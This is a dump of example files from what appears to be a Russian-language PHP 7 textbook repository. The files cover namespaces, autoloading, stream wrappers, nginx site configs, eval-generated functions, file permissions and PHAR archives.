6 |   $page = new PHP7\Page('О нас', 'Содержимое страницы');
7 |   $page->tags();
8 | ?>


--------------------------------------------------------------------------------
/namespace/autoload.php:
--------------------------------------------------------------------------------
 1 | <?php  ## Использование функции __autoload().
 2 |   // Функция автозагрузки классов
 3 |   function __autoload($classname)
 4 |   {
 5 |     require_once(__DIR__ . "/$classname.php");
 6 |   }
 7 |   // Использование классов
 8 |   $page = new PHP7\Page('О нас', 'Содержимое страницы');
 9 |   $page->tags();
10 | ?>


--------------------------------------------------------------------------------
/namespace/few.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование пространства имен в одном файле
 2 |   namespace PHP7\functions
 3 |   {
 4 |     // Отладочная функция
 5 |     function debug($obj)
 6 |     {
 7 |       echo "<pre>";
 8 |       print_r($obj);
 9 |       echo "</pre>";
10 |     }
11 |   }
12 | 
13 |   namespace PHP7\classes
14 |   {
15 |     // Класс страницы
16 |     class Page
17 |     {
18 |       // заголовок
19 |       protected $title;
20 |       // содержимое
21 |       protected $content;
22 |       // Конструктор класса
23 |       public function __construct($title = '', $content = '')
24 |       {
25 |         $this->title = $title;
26 |         $this->content = $content;
27 |       }
28 |     }
29 |   }
30 | ?>


--------------------------------------------------------------------------------
/namespace/few_relative.php:
--------------------------------------------------------------------------------
1 | <?php ## Относительные ссылки на элементы
2 |   namespace PHP7;
3 | 
4 |   require_once 'few.php';
5 |   $page = new classes\Page('Контакты', 'Содержимое страницы');
6 |   functions\debug($page);
7 | ?>


--------------------------------------------------------------------------------
/namespace/few_use.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование пространств имен
2 |   require_once 'few.php';
3 |   $page = new PHP7\classes\Page('Контакты', 'Содержимое страницы');
4 |   PHP7\functions\debug($page);
5 | ?>


--------------------------------------------------------------------------------
/namespace/namespace.php:
--------------------------------------------------------------------------------
 1 | <?php ## Объявление пространства имен
 2 |   namespace PHP7;
 3 | 
 4 |   // Отладочная функция
 5 |   function debug($obj)
 6 |   {
 7 |     echo "<pre>";
 8 |     print_r($obj);
 9 |     echo "</pre>";
10 |   }
11 | 
12 |   // Класс страницы
13 |   class Page
14 |   {
15 |     // заголовок
16 |     protected $title;
17 |     // содержимое
18 |     protected $content;
19 |     // Конструктор класса
20 |     public function __construct($title = '', $content = '')
21 |     {
22 |       $this->title = $title;
23 |       $this->content = $content;
24 |     }
25 |   }
26 | ?>


--------------------------------------------------------------------------------
/namespace/namespace_use.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование пространства имен
2 |   require_once 'namespace.php';
3 |   $page = new PHP7\Page('Контакты', 'Содержимое страницы');
4 |   PHP7\debug($page);
5 | ?>


--------------------------------------------------------------------------------
/namespace/spl_autoload_register.php:
--------------------------------------------------------------------------------
1 | <?php  ## Использование функции spl_autoload_register().
2 |   spl_autoload_register();
3 |   // Использование классов
4 |   $page = new PHP7\Page('О нас', 'Содержимое страницы');
5 |   $page->tags();
6 | ?>


--------------------------------------------------------------------------------
/namespace/use.php:
--------------------------------------------------------------------------------
1 | <?php ## Импортирование
2 |   require_once 'few.php';
3 | 
4 |   use PHP7\classes\Page;
5 |   use PHP7\functions as functions;
6 | 
7 |   $page = new Page('Контакты', 'Содержимое страницы');
8 |   functions\debug($page);
9 | ?>


--------------------------------------------------------------------------------
/namespace/wrong.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование класса PHP7\Page.
2 |   require_once(__DIR__ . "/PHP7/Seo.php");
3 |   require_once(__DIR__ . "/PHP7/Tag.php");
4 |   require_once(__DIR__ . "/PHP7/Page.php");
5 |   // Использование классов
6 |   $page = new PHP7\Page('О нас', 'Содержимое страницы');
7 |   $page->tags();
8 | ?>


--------------------------------------------------------------------------------
/net/context.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование контекста потока.
 2 |   $opts = [
 3 |     'http' => [
 4 |       'method' => 'GET',
 5 |       'user_agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0)',
 6 |       'header' => 'Content-type: text/html; charset=UTF-8'
 7 |     ]
 8 |   ];
 9 | 
10 |   echo file_get_contents(
11 |     'http://php.net',
12 |     false,
13 |     stream_context_create($opts)
14 |   );
15 | ?>


--------------------------------------------------------------------------------
/net/file.php:
--------------------------------------------------------------------------------
1 | <?php
2 |   echo file_get_contents('file:///etc/hosts');
3 |   //echo file_get_contents('file:///C:/Windows/system32/drivers/etc/hosts');
4 | ?>


--------------------------------------------------------------------------------
/net/form.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang='ru'>
 3 | <head>
 4 | <title>Форма для отправки данных методом POST</title>
 5 | <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 | <form action="handler.php" method="POST">
 9 |   Имя: <input name="first_name" type="text" /><br />
10 |   Фамилия: <input name="last_name" type="text" /><br />
11 |   <input type="submit" value="Отправить">
12 | </form>
13 | </body>
14 | </html>


--------------------------------------------------------------------------------
/net/handler.php:
--------------------------------------------------------------------------------
1 | <?php ## Прием POST-данных из формы
2 |   $name = [];
3 |   if(isset($_POST['first_name'])) $name[] = $_POST['first_name'];
4 |   if(isset($_POST['last_name'])) $name[] = $_POST['last_name'];
5 |   if(count($name) > 0) echo "Здравствуйте, ".implode(" ", $name)."!";
6 | ?>


--------------------------------------------------------------------------------
/net/socket.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/net/socket.php


--------------------------------------------------------------------------------
/net/wrap.php:
--------------------------------------------------------------------------------
1 | <?php ## Пример работы с потоками.
2 |   echo "<h1>Первая страница (HTTP):</h1>";
3 |   echo file_get_contents("http://php.net");
4 |   echo "<h1>Вторая страница (FTP):</h1>";
5 |   echo file_get_contents("ftp://ftp.aha.ru/");
6 | ?>


--------------------------------------------------------------------------------
/nginx/nginx.conf:
--------------------------------------------------------------------------------
 1 | user www-data;
 2 | worker_processes 4;
 3 | pid /run/nginx.pid;
 4 | 
 5 | events {
 6 |   worker_connections 1024;
 7 | }
 8 | 
 9 | http {
10 | 
11 |   sendfile on;
12 |   tcp_nopush on;
13 |   tcp_nodelay on;
14 |   keepalive_timeout 65;
15 | 
16 |   include /etc/nginx/mime.types;
17 |   default_type application/octet-stream;
18 | 
19 |   access_log /var/log/nginx/access.log;
20 |   error_log /var/log/nginx/error.log;
21 | 
22 |   gzip on;
23 |   gzip_disable "msie6";
24 | 
25 |   include /etc/nginx/conf.d/*.conf;
26 |   include /etc/nginx/sites-enabled/*;
27 | }


--------------------------------------------------------------------------------
/nginx/sites-available/example.com:
--------------------------------------------------------------------------------
 1 | server {
 2 |   listen   80;
 3 |   root /var/www/example.com/www;
 4 |   access_log /var/www/example.com/log/access.log;
 5 |   error_log  /var/www/example.com/log/error.log;
 6 |   
 7 |   index index.html;
 8 | 
 9 |   error_page 404 /404.html;
10 |   error_page 500 /500.html;
11 | 
12 |   server_name example.com www.example.com;
13 |   client_max_body_size 32m;
14 | }


--------------------------------------------------------------------------------
/nginx/sites-available/example.info:
--------------------------------------------------------------------------------
 1 | server {
 2 |   listen   80;
 3 |   root /var/www/example.info/www;
 4 |   access_log /var/www/example.info/log/access.log;
 5 |   error_log  /var/www/example.info/log/error.log;
 6 |   
 7 |   server_name example.info www.example.info;
 8 | 
 9 |   include /etc/nginx/templates/default;
10 | 
11 |   location ~ \.php$ {
12 |     try_files $uri = 404;
13 |     fastcgi_pass   unix:/var/run/php5-fpm.sock;
14 |     fastcgi_index index.php;
15 |     include fastcgi_params;
16 |   }
17 | }


--------------------------------------------------------------------------------
/nginx/sites-available/example.io:
--------------------------------------------------------------------------------
 1 | server {
 2 |   listen   80;
 3 |   root /var/www/example.io/www;
 4 |   access_log /var/www/example.io/log/access.log;
 5 |   error_log  /var/www/example.io/log/error.log;
 6 |   
 7 |   server_name example.io www.example.io;
 8 | 
 9 |   include /etc/nginx/templates/default;
10 |   include /etc/nginx/templates/php;
11 | }
12 | 


--------------------------------------------------------------------------------
/nginx/sites-available/example.net:
--------------------------------------------------------------------------------
 1 | server {
 2 |   listen   80;
 3 |   root /var/www/example.net/www;
 4 |   access_log /var/www/example.net/log/access.log;
 5 |   error_log  /var/www/example.net/log/error.log;
 6 |   
 7 |   server_name example.net www.example.net;
 8 | 
 9 |   include /etc/nginx/templates/default;
10 | }


--------------------------------------------------------------------------------
/nginx/sites-available/example.org:
--------------------------------------------------------------------------------
 1 | server {
 2 |   listen   80;
 3 |   root /var/www/example.org/www;
 4 |   access_log /var/www/example.org/log/access.log;
 5 |   error_log  /var/www/example.org/log/error.log;
 6 |   
 7 |   server_name example.org www.example.org;
 8 | 
 9 |   include /etc/nginx/templates/default;
10 | 
11 |   location ~* \.php$ {
12 |     try_file $uri $uri/ @php;
13 |   }
14 |   location @php {
15 |     proxy_pass http://localhost:9000;
16 |     include fastcgi_params;
17 |     fastcgi_index index.php;
18 |   }
19 | }


--------------------------------------------------------------------------------
/nginx/templates/default:
--------------------------------------------------------------------------------
 1 | # Типовые настройки, общие для всех доменов
 2 | index index.php index.html;
 3 | # Максимальный размер HTTP-документа
 4 | client_max_body_size 32m;
 5 | 
 6 | # Закрываем доступ к файлам .htaccess и .htpassword
 7 | location ~ /\.ht {
 8 |   deny all;
 9 | }
10 | # Не помещаем в журнальный файл обращения к favicon.ico
11 | location = /favicon.ico {
12 |   log_not_found off;
13 |   access_log off;
14 | }
15 | # Не помещаем в журнальный файл обращения к robots.txt, если его нет
16 | location = /robots.txt {
17 |   allow all;
18 |   log_not_found off;
19 |   access_log off;
20 | }
21 | # Не помещаем в журнальный файл, обращения к файлам, начинающимся с /apple-touch-
22 | location ~ /apple-touch- {
23 |   log_not_found off;
24 |   access_log off;
25 | }
26 | 


--------------------------------------------------------------------------------
/nginx/templates/php:
--------------------------------------------------------------------------------
1 | location ~ \.php$ {
2 |   try_files $uri = 404;
3 |   fastcgi_pass   unix:/var/run/php5-fpm.sock;
4 |   fastcgi_index index.php;
5 |   include fastcgi_params;
6 | }
7 | 


--------------------------------------------------------------------------------
/ob/linearize.php:
--------------------------------------------------------------------------------
 1 | <?php ## Работа с обработчиками буферов.
 2 |   function ob_linearize($text)
 3 |   {
 4 |     // Удалить из текста все переносы строк и повторяющиеся пробелы.
 5 |     return preg_replace('/[\r\n\s]+/s', ' ', trim($text));
 6 |   }
 7 |   // Перехватываем выходной поток с установкой обработчика.
 8 |   ob_start("ob_linearize");
 9 |   // Дальше идет обычное выполнение скрипта. Он может выводить все, 
10 |   // что угодно - в конце из текста будут удалены все переовды строк.
11 |   echo htmlspecialchars(file_get_contents(__FILE__));
12 | 


--------------------------------------------------------------------------------
/otherfuncs/create_function.php:
--------------------------------------------------------------------------------
1 | <?php ## Создание анонимных функций.
2 |   $mul = create_function('$a,$b', 'return $a * $b;');
3 |   $neg = create_function('$a', 'return -$a;');
4 |   echo $mul(10, 20) . "<br />";  // выводит 200
5 |   echo $neg(2) . "<br />";       // выводит -2
6 | ?>


--------------------------------------------------------------------------------
/otherfuncs/eval.php:
--------------------------------------------------------------------------------
1 | <?php ## Генерация семейства функций.
2 |   for ($i = 1; $i <= 1000; $i++)
3 |     eval("function printSquare$i() { echo $i * $i; }");
4 |   printSquare303();  
5 | ?>


--------------------------------------------------------------------------------
/otherfuncs/lastmod.php:
--------------------------------------------------------------------------------
1 | <?php ## Вывод времени последнего изменения скрипта.
2 |   echo "Последнее изменение: ".date("d.m.Y H:i.s.", getlastmod());
3 |   // Выводит что-то вроде 'Последнее изменение: 13.11.2015 23:12.36'
4 | ?>


--------------------------------------------------------------------------------
/otherfuncs/mkfuncs.php:
--------------------------------------------------------------------------------
 1 | <?php ## Генерация квази-анонимных функций.
 2 |   $squarers = [];
 3 |   for ($i = 0; $i <= 1000; $i++) {
 4 |     // Создаем строку, содержимое которой каждый раз будет разным.
 5 |     $id = uniqid("F");
 6 |     // Создаем функцию.
 7 |     eval("function $id() { echo $i * $i; }");
 8 |     $squarers[] = $id;
 9 |   }
10 |   // Так можно вызвать функцию, чье имя берется из массива.
11 |   $squarers[303]();
12 | ?>


--------------------------------------------------------------------------------
/otherfuncs/phpinfo.php:
--------------------------------------------------------------------------------
1 | <?php ## Печать справочной информации о PHP.
2 |   phpinfo();
3 | ?>


--------------------------------------------------------------------------------
/otherfuncs/sort.php:
--------------------------------------------------------------------------------
1 | <?php ## Новый подход создания анонимных функций.
2 |   $fruits = ["orange", "apple", "apricot", "lemon"];
3 |   usort($fruits, function($a, $b) { return strcmp($b, $a); });
4 |   foreach ($fruits as $key => $value) echo "$key: $value<br />\n";
5 | ?>


--------------------------------------------------------------------------------
/otherfuncs/sort_new.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование оператора <=>.
2 |   $fruits = ["orange", "apple", "apricot", "lemon"];
3 |   usort($fruits, function($a, $b) { return $b <=> $a; });
4 |   foreach ($fruits as $key => $value) echo "$key: $value<br />\n";
5 | ?>


--------------------------------------------------------------------------------
/otherfuncs/sort_old.php:
--------------------------------------------------------------------------------
1 | <?php ## Устаревший подход создания анонимных функций.
2 |   $fruits = ["orange", "apple", "apricot", "lemon"];
3 |   usort($fruits, create_function('$a, $b', 'return strcmp($b, $a);'));
4 |   foreach ($fruits as $key => $value) echo "$key: $value<br />\n";
5 | ?>


--------------------------------------------------------------------------------
/perm/fileperms.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование функции fileperms()
2 |   // Получаем права доступа и тип файла
3 |   $perms = fileperms("text.txt");
4 |   // Преобразуем результат в восьмеричную систему счисления
5 |   echo decoct($perms); // 100664
6 |   // Преобразуем результат в двоичную систему счисления
7 |   echo decbin($perms); // 1000000110100100
8 | ?>


--------------------------------------------------------------------------------
/perm/mtime.php:
--------------------------------------------------------------------------------
1 | <?php ## Время изменения файла.
2 |   $mtime = filemtime(__FILE__);
3 |   echo "Последнее изменение страницы: ".date("Y-m-d H:i:s");
4 | ?>


--------------------------------------------------------------------------------
/perm/text.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/perm/text.txt


--------------------------------------------------------------------------------
/perm/typefile.php:
--------------------------------------------------------------------------------
 1 | <?php ## Определение типа файла.
 2 |   // Получаем права доступа и тип файла
 3 |   $perms = fileperms("text.txt");
 4 | 
 5 |   // Определяем тип файла
 6 |   if (($perms & 0xC000) == 0xC000)
 7 |     echo "Сокет";
 8 |   elseif (($perms & 0xA000) == 0xA000)
 9 |     echo "Символическая ссылка";
10 |   elseif (($perms & 0x8000) == 0x8000)
11 |     echo "Обычный файл";
12 |   elseif (($perms & 0x6000) == 0x6000)
13 |     echo "Специальный блочный файл";
14 |   elseif (($perms & 0x4000) == 0x4000)
15 |     echo "Каталог";
16 |   elseif (($perms & 0x2000) == 0x2000)
17 |     echo "Специальный символьный файл";
18 |   elseif (($perms & 0x1000) == 0x1000)
19 |     echo "FIFO-канал";
20 |   else
21 |     echo "Неизвестный файл";
22 | ?>
23 | 


--------------------------------------------------------------------------------
/phar/array.php:
--------------------------------------------------------------------------------
 1 | <?php ## Класс Phar реализует интерфейс ArrayAccess.
 2 | try {
 3 |   $phar = new Phar('./phpinfo.phar', 0, 'phpinfo.phar');
 4 |   // Для записи директив phar.readonly конфигурационного
 5 |   // файла php.ini должна быть установлена в 0 или Off
 6 |   if (Phar::canWrite()) {
 7 |     // Буферизация записи, ничего не записывается, до
 8 |     // тех пор, пока не будет вызван метод stopBuffering()
 9 |     $phar->startBuffering();
10 |     // Формируем файл phpinfo.php
11 |     $phar['phpinfo.php'] = '<?php phpinfo();';
12 |     // Сохранение результатов на жесткий диск
13 |     $phar->stopBuffering();
14 |   } else {
15 |     echo 'PHAR-архив не может быть бы записан';
16 |   }
17 | } catch (Exception $e) {
18 |   echo 'Невозможно открыть PHAR-архив: ', $e;
19 | }
20 | 


--------------------------------------------------------------------------------
/phar/autoloader.php:
--------------------------------------------------------------------------------
1 | <?php
2 | spl_autoload_register(function($class){
3 |     require_once("{$class}.php");
4 | });
5 | 


--------------------------------------------------------------------------------
/phar/autopager.phar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phar/autopager.phar


--------------------------------------------------------------------------------
/phar/compress.phar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phar/compress.phar


--------------------------------------------------------------------------------
/phar/compress.phar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phar/compress.phar.gz


--------------------------------------------------------------------------------
/phar/compress.php:
--------------------------------------------------------------------------------
 1 | <?php ## Сжатие архива.
 2 | try {
 3 |   $phar = new Phar('compress.phar', 0, 'compress.phar');
 4 |   if (Phar::canWrite() && Phar::canCompress()) {
 5 |     $phar->startBuffering();
 6 | 
 7 |     foreach(glob('../composer/photos/*') as $jpg) {
 8 |       $phar[basename($jpg)] = file_get_contents($jpg);
 9 |     }
10 |     // Назначаем файл-заглушку
11 |     $phar['show.php'] = file_get_contents('show.php');
12 |     $phar->setDefaultStub('show.php', 'show.php');
13 |     // Сжимаем файл
14 |     $phar->compress(Phar::GZ);
15 | 
16 |     $phar->stopBuffering();
17 |   } else {
18 |     echo 'PHAR-архив не может быть бы записан';
19 |   }
20 | } catch (Exception $e) {
21 |   echo 'Невозможно открыть PHAR-архив: ', $e;
22 | }
23 | 


--------------------------------------------------------------------------------
/phar/extract.php:
--------------------------------------------------------------------------------
1 | <?php ## Извлечение содержимого PHAR-архива.
2 | try {
3 |     $phar = new Phar('autopager.phar');
4 |     $phar->extractTo('extract');
5 | } catch (Exception $e) {
6 |   echo 'Невозможно открыть PHAR-архив: ', $e;
7 | }
8 | 


--------------------------------------------------------------------------------
/phar/foreach.php:
--------------------------------------------------------------------------------
 1 | <?php ## Перебор свойств при помощи метода foreach.
 2 | try {
 3 |   $dir = opendir('phar://ispager.phar/ISPager');
 4 |   while(($file = readdir($dir)) !== false) {
 5 |     echo "{$file}<br />";
 6 |   }
 7 |   closedir($dir);
 8 | } catch (Exception $e) {
 9 |   echo 'Невозможно открыть PHAR-архив: ', $e;
10 | }
11 | 


--------------------------------------------------------------------------------
/phar/gallery.phar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phar/gallery.phar


--------------------------------------------------------------------------------
/phar/gallery.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование foreach для доступа к содержимому архива.
 2 | try {
 3 |   $phar = new Phar('./gallery.phar', 0, 'gallery.phar');
 4 |   foreach($phar as $file) {
 5 |     // Извлекаем MIME-тип изображения
 6 |     $finfo = finfo_open(FILEINFO_MIME_TYPE);
 7 |     $mime = finfo_file($finfo, $file);
 8 |     finfo_close($finfo);
 9 | 
10 |     if($mime == 'image/jpeg') {
11 |       echo "<img src='/gallery_use.php?image={$file}' /><br />";
12 |     }
13 |   }
14 | } catch (Exception $e) {
15 |   echo 'Невозможно открыть PHAR-архив: ', $e;
16 | }
17 | 


--------------------------------------------------------------------------------
/phar/gallery_use.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование архива с бинарными данными.
2 |   require_once('gallery.phar');


--------------------------------------------------------------------------------
/phar/ispager.phar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phar/ispager.phar


--------------------------------------------------------------------------------
/phar/phpinfo.phar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phar/phpinfo.phar


--------------------------------------------------------------------------------
/phar/show.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |   // Фильтруем данные
 3 |   if(isset($_GET['image'])) {
 4 |     $_GET['image'] = filter_var(
 5 |       $_GET['image'],
 6 |       FILTER_CALLBACK,
 7 |       [
 8 |         'options' => function ($value) {
 9 |                       return preg_replace('/[^_\.\w\d]+/', '', $value);
10 |                     }
11 |       ]
12 |     );
13 |     if(file_exists($_GET['image'])) {
14 |       // Выгружаем файл
15 |       header('Content-Type: image/jpeg');
16 |       header("Content-Length: " . filesize($_GET['image']));
17 |       readfile($_GET['image']);
18 |       exit();
19 |     }
20 |   }
21 |   // Файл не обнаружен
22 |   header("HTTP/1.0 404 Not Found");
23 | 


--------------------------------------------------------------------------------
/phar/stream.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование потоков.
2 |   require_once 'phar://phpinfo.phar/phpinfo.php';
3 | 


--------------------------------------------------------------------------------
/phar/stub_use.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |   require_once('autopager.phar');
 3 | 
 4 |   $obj = new ISPager\FilePager(
 5 |     new ISPager\PagesList(),
 6 |     '../math/largetextfile.txt');
 7 |   // Содержимое текущей страницы
 8 |   foreach($obj->getItems() as $line) {
 9 |     echo htmlspecialchars($line)."<br /> ";
10 |   }
11 |   // Постраничная навигация
12 |   echo "<p>$obj</p>";
13 | 


--------------------------------------------------------------------------------
/phar/text.phar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phar/text.phar


--------------------------------------------------------------------------------
/phar/text.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |   // Формируем PHAR-архив
 3 |   $phar = new Phar('text.phar');
 4 |   $phar->startBuffering();
 5 |   $phar['largetextfile.txt'] = file_get_contents('../math/largetextfile.txt');
 6 |   $phar->stopBuffering();
 7 | 
 8 |   // Читаем содержимое PHAR-архива
 9 |   echo nl2br(file_get_contents('phar://text.phar/largetextfile.txt'));
10 | 


--------------------------------------------------------------------------------
/phpbasics/sq.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang='ru'>
 3 | <head>
 4 | <title>Простейший PHP-сценарий</title>
 5 | <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 | <h1>Здравствуйте!</h1>
 9 | <p>
10 | <?php
11 |   // Вычисляем текущую дату в формате "день.месяц год"
12 |   $dat = date("d.m y");
13 |   // Вычисляем текущее время
14 |   $tm = date("h:i:s");
15 |   # Выводим их
16 |   echo "Текущая дата: $dat года<br />\n";
17 |   echo "Текущее время: $tm<br />\n";
18 |   # Выводим цифры
19 |   echo "А вот квадраты и кубы первых 5 натуральных чисел:<br />\n";
20 |   echo "<ul>\n";
21 |   for ($i = 1; $i <= 5; $i++) {
22 |     echo "<li>$i в квадрате = " . ($i * $i);
23 |     echo ", $i в кубе = " . ($i * $i * $i) . "</li>\n";
24 |   }
25 | ?>
26 | </ul>
27 | </p>
28 | </body></html>
29 | 


--------------------------------------------------------------------------------
/phpdocs/phpdocs/composer.json:
--------------------------------------------------------------------------------
1 | {
2 |     "require": {
3 |         "phpdocumentor/phpdocumentor": "2.*"
4 |     }
5 | }


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docblock.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | /**
 3 |  * Выводит дамп массива или объекта
 4 |  *
 5 |  * Подробное описание функции: может занимать несколько строк
 6 |  * В данном случае функция принимая в качестве единственного 
 7 |  * параметра $arr массив или объект - выводит его подробную стркутуру
 8 |  * dump(['Hello', 'world', '!']);
 9 |  *
10 |  * @param array|object $arr
11 |  * 
12 |  * @return void
13 |  */
14 | function dump($arr)
15 | {
16 |   echo "<pre>";
17 |   print_r($arr);
18 |   echo "</pre>";
19 | }
20 | 


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/.htaccess:
--------------------------------------------------------------------------------
1 | # Fixes a vulnerability in CentOS: http://stackoverflow.com/questions/20533279/prevent-php-from-parsing-non-php-files-such-as-somefile-php-txt
2 | <FilesMatch \.php\.txt$>
3 |     RemoveHandler .php
4 |     ForceType text/plain
5 | </FilesMatch>


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/css/phpdocumentor-clean-icons/Read Me.txt:
--------------------------------------------------------------------------------
1 | To modify your generated font, use the *dev.svg* file, located in the *fonts* folder in this package. You can import this dev.svg file to the IcoMoon app. All the tags (class names) and the Unicode points of your glyphs are saved in this file.
2 | 
3 | See the documentation for more info on how to use this package: http://icomoon.io/#docs/font-face


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/css/phpdocumentor-clean-icons/fonts/phpdocumentor-clean-icons.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/css/phpdocumentor-clean-icons/fonts/phpdocumentor-clean-icons.eot


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/css/phpdocumentor-clean-icons/fonts/phpdocumentor-clean-icons.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/css/phpdocumentor-clean-icons/fonts/phpdocumentor-clean-icons.ttf


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/css/phpdocumentor-clean-icons/fonts/phpdocumentor-clean-icons.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/css/phpdocumentor-clean-icons/fonts/phpdocumentor-clean-icons.woff


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/files/docblock.php.txt:
--------------------------------------------------------------------------------
 1 | <?php
 2 | /**
 3 |  * Выводит дамп массива или объекта
 4 |  *
 5 |  * Подробное описание функции: может занимать несколько строк
 6 |  * В данном случае функция принимая в качестве единственного 
 7 |  * параметра $arr массив или объект - выводит его подробную стркутуру
 8 |  * dump(['Hello', 'world', '!']);
 9 |  *
10 |  * @param array|object $arr
11 |  * 
12 |  * @return void
13 |  */
14 | function dump($arr)
15 | {
16 |   echo "<pre>";
17 |   print_r($arr);
18 |   echo "</pre>";
19 | }
20 | 
21 | 


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/font/FontAwesome.otf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/font/FontAwesome.otf


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/font/fontawesome-webfont.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/font/fontawesome-webfont.eot


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/font/fontawesome-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/font/fontawesome-webfont.ttf


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/font/fontawesome-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/font/fontawesome-webfont.woff


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/apple-touch-icon-114x114.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/apple-touch-icon-114x114.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/apple-touch-icon-72x72.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/apple-touch-icon-72x72.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/apple-touch-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/apple-touch-icon.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/favicon.ico


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/hierarchy-item.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/hierarchy-item.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/icon-class-13x13.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/icon-class-13x13.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/icon-interface-13x13.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/icon-interface-13x13.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/icon-trait-13x13.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/icon-trait-13x13.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/iviewer/grab.cur:
